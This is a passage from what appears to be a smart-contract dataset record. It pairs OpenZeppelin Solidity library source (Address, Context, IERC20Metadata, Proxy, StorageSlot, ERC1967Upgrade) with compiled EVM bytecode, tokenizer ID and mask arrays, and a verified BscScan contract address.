https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063b6b55f2511610071578063b6b55f25146102d3578063dd62ed3e146102ef578063e001ff521461031f578063f2fde38b1461033b578063fc0c546a1461035757610116565b8063715018a61461025d5780638da5cb5b1461026757806395d89b4114610285578063a9059cbb146102a357610116565b806323b872dd116100e957806323b872dd146101a55780632e1a7d4d146101d5578063313ce567146101f157806361603d891461020f57806370a082311461022d57610116565b8063045544431461011b57806306fdde0314610139578063095ea7b31461015757806318160ddd14610187575b600080fd5b610123610375565b6040516101309190611622565b60405180910390f35b61014161037b565b60405161014e9190611580565b60405180910390f35b610171600480360381019061016c91906112f8565b610409565b60405161017e919061154a565b60405180910390f35b61018f61043d565b60405161019c9190611622565b60405180910390f35b6101bf60048036038101906101ba91906111e0565b610443565b6040516101cc919061154a565b60405180910390f35b6101ef60048036038101906101ea9190611365565b610477565b005b6101f9610702565b604051610206919061163d565b60405180910390f35b6102176107a9565b6040516102249190611622565b60405180910390f35b61024760048036038101906102429190611173565b6107af565b6040516102549190611622565b60405180910390f35b6102656107c7565b005b61026f61084f565b60405161027c91906114cf565b60405180910390f35b61028d610879565b60405161029a9190611580565b60405180910390f35b6102bd60048036038101906102b891906112f8565b610907565b6040516102ca919061154a565b60405180910390f35b6102ed60048036038101906102e89190611365565b61093b565b005b610309600480360381019061030491906111a0565b610b35565b6040516103169190611622565b60405180910390f35b61033960048036038101906103349190611233565b610b69565b005b61035560048036038101906103509190611173565b610ce9565b005b61035f610de1565b60405161036c9190611565565b60405180910390f35b60675481565b606880546103889061180f565b80601f01602080910402602001604051908101604052809291908181526020018280546103b49061180f565b80156104015780601f106103d657610100808354040283529160200191610401565b820191906000526020600020905b8154815290600101906020018083116103e457829003601f168201915b505050505081565b60006040517fa038794000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b606a5481565b60006040517fa038794000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60665442118015610496575060675460665461049391906116ca565b42105b156104cd576040517f3c2c6e9d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80606b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610546576040517f7fa62f9d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80606b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105959190611720565b9250508190555080606a60008282546105ae9190611720565b92505081905550606560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610612929190611521565b602060405180830381600087803b15801561062c57600080fd5b505af1158015610640573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106649190611338565b61069a576040517f90b8ec1800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106f79190611622565b60405180910390a350565b6000606560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561076c57600080fd5b505afa158015610780573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a49190611392565b905090565b60665481565b606b6020528060005260406000206000915090505481565b6107cf610e07565b73ffffffffffffffffffffffffffffffffffffffff166107ed61084f565b73ffffffffffffffffffffffffffffffffffffffff1614610843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083a906115e2565b60405180910390fd5b61084d6000610e0f565b565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606980546108869061180f565b80601f01602080910402602001604051908101604052809291908181526020018280546108b29061180f565b80156108ff5780601f106108d4576101008083540402835291602001916108ff565b820191906000526020600020905b8154815290600101906020018083116108e257829003601f168201915b505050505081565b60006040517fa038794000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b606654421115610977576040517f9883528e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80606b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c691906116ca565b9250508190555080606a60008282546109df91906116ca565b92505081905550606560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610a45939291906114ea565b602060405180830381600087803b158015610a5f57600080fd5b505af1158015610a73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a979190611338565b610acd576040517f90b8ec1800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b2a9190611622565b60405180910390a350565b60006040517fa038794000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600060019054906101000a900460ff16610b915760008054906101000a900460ff1615610b9a565b610b99610ed5565b5b610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd0906115c2565b60405180910390fd5b60008060019054906101000a900460ff161590508015610c29576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b610c31610ee6565b610c3a87610ce9565b85606560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084606681905550836067819055508260689080519060200190610c9f92919061100c565b508160699080519060200190610cb692919061100c565b506000606a819055508015610ce05760008060016101000a81548160ff0219169083151502179055505b50505050505050565b610cf1610e07565b73ffffffffffffffffffffffffffffffffffffffff16610d0f61084f565b73ffffffffffffffffffffffffffffffffffffffff1614610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c906115e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc906115a2565b60405180910390fd5b610dde81610e0f565b50565b606560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081603360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000610ee030610f47565b15905090565b600060019054906101000a900460ff16610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611602565b60405180910390fd5b610f3d610f5a565b610f45610fab565b565b600080823b905060008111915050919050565b600060019054906101000a900460ff16610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa090611602565b60405180910390fd5b565b600060019054906101000a900460ff16610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190611602565b60405180910390fd5b61100a611005610e07565b610e0f565b565b8280546110189061180f565b90600052602060002090601f01602090048101928261103a5760008555611081565b82601f1061105357805160ff1916838001178555611081565b82800160010185558215611081579182015b82811115611080578251825591602001919060010190611065565b5b50905061108e9190611092565b5090565b5b808211156110ab576000816000905550600101611093565b5090565b60006110c26110bd8461167d565b611658565b9050828152602081018484840111156110de576110dd611904565b5b6110e98482856117cd565b509392505050565b60008135905061110081611a3a565b92915050565b60008151905061111581611a51565b92915050565b600082601f8301126111305761112f6118ff565b5b81356111408482602086016110af565b91505092915050565b60008135905061115881611a68565b92915050565b60008151905061116d81611a7f565b92915050565b6000602082840312156111895761118861190e565b5b6000611197848285016110f1565b91505092915050565b600080604083850312156111b7576111b661190e565b5b60006111c5858286016110f1565b92505060206111d6858286016110f1565b9150509250929050565b6000806000606084860312156111f9576111f861190e565b5b6000611207868287016110f1565b9350506020611218868287016110f1565b925050604061122986828701611149565b9150509250925092565b60008060008060008060c087890312156112505761124f61190e565b5b600061125e89828a016110f1565b965050602061126f89828a016110f1565b955050604061128089828a01611149565b945050606061129189828a01611149565b935050608087013567ffffffffffffffff8111156112b2576112b1611909565b5b6112be89828a0161111b565b92505060a087013567ffffffffffffffff8111156112df576112de611909565b5b6112eb89828a0161111b565b9150509295509295509295565b6000806040838503121561130f5761130e61190e565b5b600061131d858286016110f1565b925050602061132e85828601611149565b9150509250929050565b60006020828403121561134e5761134d61190e565b5b600061135c84828501611106565b91505092915050565b60006020828403121561137b5761137a61190e565b5b600061138984828501611149565b91505092915050565b6000602082840312156113a8576113a761190e565b5b60006113b68482850161115e565b91505092915050565b6113c881611754565b82525050565b6113d781611766565b82525050565b6113e6816117a9565b82525050565b60006113f7826116ae565b61140181856116b9565b93506114118185602086016117dc565b61141a81611913565b840191505092915050565b60006114326026836116b9565b915061143d82611924565b604082019050919050565b6000611455602e836116b9565b915061146082611973565b604082019050919050565b60006114786020836116b9565b9150611483826119c2565b602082019050919050565b600061149b602b836116b9565b91506114a6826119eb565b604082019050919050565b6114ba81611792565b82525050565b6114c98161179c565b82525050565b60006020820190506114e460008301846113bf565b92915050565b60006060820190506114ff60008301866113bf565b61150c60208301856113bf565b61151960408301846114b1565b949350505050565b600060408201905061153660008301856113bf565b61154360208301846114b1565b9392505050565b600060208201905061155f60008301846113ce565b92915050565b600060208201905061157a60008301846113dd565b92915050565b6000602082019050818103600083015261159a81846113ec565b905092915050565b600060208201905081810360008301526115bb81611425565b9050919050565b600060208201905081810360008301526115db81611448565b9050919050565b600060208201905081810360008301526115fb8161146b565b9050919050565b6000602082019050818103600083015261161b8161148e565b9050919050565b600060208201905061163760008301846114b1565b92915050565b600060208201905061165260008301846114c0565b92915050565b6000611662611673565b905061166e8282611841565b919050565b6000604051905090565b600067ffffffffffffffff821115611698576116976118d0565b5b6116a182611913565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006116d582611792565b91506116e083611792565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561171557611714611872565b5b828201905092915050565b600061172b82611792565b915061173683611792565b92508282101561174957611748611872565b5b828203905092915050565b600061175f82611772565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006117b4826117bb565b9050919050565b60006117c682611772565b9050919050565b82818337600083830152505050565b60005b838110156117fa5780820151818401526020810190506117df565b83811115611809576000848401525b50505050565b6000600282049050600182168061182757607f821691505b6020821081141561183b5761183a6118a1565b5b50919050565b61184a82611913565b810181811067ffffffffffffffff82111715611869576118686118d0565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160008201527f647920696e697469616c697a6564000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960008201527f6e697469616c697a696e67000000000000000000000000000000000000000000602082015250565b611a4381611754565b8114611a4e57600080fd5b50565b611a5a81611766565b8114611a6557600080fd5b50565b611a7181611792565b8114611a7c57600080fd5b50565b611a888161179c565b8114611a9357600080fd5b5056fea2646970667358221220bf76f5f8558d0811a292958dedc416997b877cb7ee32f7dcc8045dbcba9f9eee64736f6c63430008060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 2546, 2620, 12740, 18139, 2546, 2692, 2094, 2683, 10322, 18827, 2497, 2620, 18827, 17134, 23632, 16703, 2683, 2683, 2278, 2692, 27717, 2094, 2575, 2487, 5243, 2683, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 1048, 21600, 2140, 1011, 1017, 1012, 1014, 1011, 2069, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 2219, 3085, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,159
0x964fb0d58ef431d6962541a03ee1679bcc33f918
/** *Submitted for verification at BscScan.com on 2021-05-03 */ // File: ../../../.brownie/packages/OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/proxy/Proxy.sol pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // File: ../../../.brownie/packages/OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/proxy/beacon/IBeacon.sol pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // File: ../../../.brownie/packages/OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: ../../../.brownie/packages/OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/utils/StorageSlot.sol pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File: ../../../.brownie/packages/OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/proxy/ERC1967/ERC1967Upgrade.sol pragma solidity ^0.8.2; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } 